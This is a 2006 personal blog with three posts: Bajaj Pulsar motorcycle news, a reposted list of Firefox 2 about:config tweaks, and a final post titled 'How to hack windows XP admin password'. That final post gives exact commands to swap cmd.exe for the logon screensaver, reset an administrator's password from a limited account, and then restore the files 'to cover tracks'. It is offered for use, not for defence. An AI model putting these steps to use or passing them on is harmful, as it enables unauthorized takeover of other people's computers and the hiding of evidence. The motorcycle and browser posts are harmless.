Wednesday, November 08, 2006

Pulsar 550....????


Well is this the new avatar from Bajaj....???
Well is this the first real super bike in India....???
I don have words to say about it.... Mono shock, Scilencer under the seat, very high profile tyres, twin disk in front, single rear disk, 550cc, 65BHP, 0-100 in under 5 sec...???


!!!!This is Definitely Male!!!!

New Pulsar 150 DTS-i launched



The "New Look" Bajaj Pulsar 150 has been finally launched (in Mumbai atleast) after the "New Look" Pulsar 180. This is the 4'th in the line of up gradations (1'st:Classic Pulsar; 2'nd:Pulsar DTSI; 3'rd; Pulsar DTSI with Alloys and Gas filled Rear shocks).
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The news was picked up from the
XBhp.Com forum.
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New Looks: The new Pulsar 150 shares similar features and looks of its bigger 180 c.c sibling. It gets the 180's
Digital Speedo, Tachometer assembly
Redesigened side and tapered tail panels
Rear "Led" (Light Emitting Diodes) tail light
The "Phantom" front fairing
What distinguishes the new pulsar 180 from the 150 is the "All Black" paint scheme (engine covers, exhaust, chain cover and alloys).
Improvements: Bajaj seems to have worked on the "Achilles heel" of the Pulsar by adopting a new gear shifting mechanism. It seems to have made quite improvement in the shift quality now. Moreover, the 150 now comes with the 1-down, 4-up pattern (similar to the 180) now.
Power: seems to have been upped from 13.5 b.h.p to 14.2 b.h.p (to counter the CBZ Xtreme probably) with increase in torque too.
Price: The new 180 did not come with any price increase but Bajaj seems to have increased the price of the 150. It seems the price difference between the 180 and 150 is now just around 2k (yet to be confirmed).
With such a slender price difference and just the "All Back" treatment to differentiate the looks between the 150 and 180, it seems Bajaj wants the customer to make a choice between "Power" of the 180 and the "Economy" of the 150.
It will be now interesting to note which one prevails.

Friday, November 03, 2006

Top Firefox 2 config tweaks

The Firefox homepage calls the web browser "fully customizable to your online life," and that's not just marketing claptrap. Beyond the extensive options available in its menus and dialogs, there's a lengthy set of advanced Firefox preferences that can customize the browser to your specific needs. Sure, your brother-in-law's not likely to edit Firefox's default configuration, but you? You're a power surfer and you want your web browser your way.
In honor of the Firefox 2.0 release yesterday, today we'll dive deep into the bowels of the fox's config with a handful of my favorite Firefox 2 (and older) tweaks.
How to modify Firefox's configuration (about:config)
All this "advanced config" talk got you worried? Fear not, my friend. Here's the deal: Firefox's configuration is a long list of keys and values. To view this list, type about:config into the Firefox address bar. Then, enter the name of the key you want to update in the "Filter" field. The list will narrow to only the entries that match your keyword as you type

(The key, of course, is knowing the key. More on that below.) To modify the value of a key, double-click on the value field and update the entry. To see your changes, restart your browser. Easy as pie.
Got it? Good. Let's get to tweaking.
Session restore
Fx 2.0 only: As a blogger and web mail user, it breaks my heart to recount how many times I've composed a long post or email message, then accidentally closed the tab or browser and lost all my work. No more! With Firefox 2, set the browser.startup.page key to 3 to restore your browsing session - with form entries intact! - every time you start your browser or undo close tab after a wayward click. Note: By default, Firefox 2 automatically restores your session if your browser crashes - but this does it every time you restart your browser normally. Thanks for the tip, Arun!
Key: browser.startup.page
Modified Value: 3
Default: 1 (open your specified homepages)
Update: Ryan points out that doing it this way is like swatting a fly with a sledgehammer. To do it the normal person way, from the Tools menu choose Options, and in the Main area, select "Show my windows and tabs from last time" from the "When Firefox starts" dropdown. D'oh! Thanks Ryan!
Tab width before scrolling kicks in
Fx 2.0 only: The biggest interface changes in Firefox 2 involve tabbed browsing. Power surfers who open more than a dozen tabs will notice that Firefox 2 minimizes tabs to a certain width, then sets the excess to scroll off the tab bar with left and right arrows. As someone who often has more than a dozen tabs open, not being able to see them all made me crazy. One solution is to reduce the minimum tab width so that more tabs fit in the bar before the scroll kicks in. The default is 100 pixels; I found that 75 worked better for me - page titles were still readable, but more tabs could fit. Compare 100 width, which fits 7 tabs across at this size :


To 75, which fits 10 across at this size :


To disable tab scrolling entirely, set the value to 0.
Key: browser.tabs.tabMinWidth
Modified Value: 75 (fit in more tabs before overflow enables scroll)
Alternate Modified Value: 0 (disable scroll entirely)
Default: 100
Tab close buttons
Fx 2.0 only: Another tab interface change in Firefox 2 is the addition of a close button on each individual tab. I happen to love this, but some hate it, saying it causes them to accidentally close a tab when just trying to switch to it. If you're a hater, revert to the Firefox 1.5 behavior by changing the browser.tabs.closeButtons value to 3. This will not display close tabs on individual tabs, and turn on a single close tab button at the right end of the tab bar.
Key: browser.tabs.closeButtons
Modified Value: 3 (revert to Firefox 1.5 behavior)
Alternate Modified Value: 2 (don't display any close tab buttons)
Default: 1 (display close buttons on all tabs)
Fetch only what you click
Fx .6 and up: Firefox has this wacky little feature that downloads pages from links it thinks you may click on pages you view, like the top result on a page of Google results. This means you use up bandwidth and CPU cycles and store history for web pages you may not have ever viewed. Creepy, eh? To stop that madness, set the network.prefetch-next key to false.
Key: network.prefetch-next
Modified Value: false
Limit RAM usage
All versions: Goodness knows I've done a good amount of belly-aching about Firefox's voracious appetite for RAM. (It's consistently the most memory-intensive process on both my PC and Mac.) Happily a simple config tweak got Mem Use right back down to a more comfortable number. Along with the previous prefetch mod, set your browser.cache.disk.capacity to a value that fits your total RAM.
Key: browser.cache.disk.capacity
Modified Value: Depends on your system's total memory. According to Computerworld:
For RAM sizes between 512BM and 1GB, start with 15000. For RAM sizes between 128MB and 512M, try 5000.
For RAM sizes between 512BM and 1GB, start with 15000. For RAM sizes between 128MB and 512M, try 5000.
Turn off chrome tooltips
All versions: I have an irritating Firefox problem on my Mac. When I try to drag a bookmark into one of my bookmark toolbar folders, the tool tip gets in the way and prevents the drop from working. Argh! Like you, I already know what all the buttons on my browser chrome do, so the tool tips aren't necessary. To turn them off, set the browser.chrome.toolbar_tips key value to false. Bonus is, it solved my Mac's bookmark drag and drop problem.
Key: browser.chrome.toolbar_tips
Modified Value: false
Lastly, though 2.0's default value is a lot more reasonable than 1.5's, you can use about:config to put off that annoying Unresponsive Script dialog on Javascript-heavy web pages.
Update: From the comments, a few more good about:config tweaks:
layout.spellcheckDefault = 2 turns on Firefox 2's spell-checking in input fields as well as textareas. (That means no more typos in Lifehacker post headlines!)
browser.urlbar.hideGoButton=true turns off the rarely-used Go button at the end of the address bar, for more room to see long URLs. Thanks, sister-ray!
See the MozillaZine about:config wiki page for the exhaustive list of Firefox preferences keys, their possible values and effects.
What are your favorite Firefox about:config tweaks? Post 'em up in the comments.

Thursday, November 02, 2006

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

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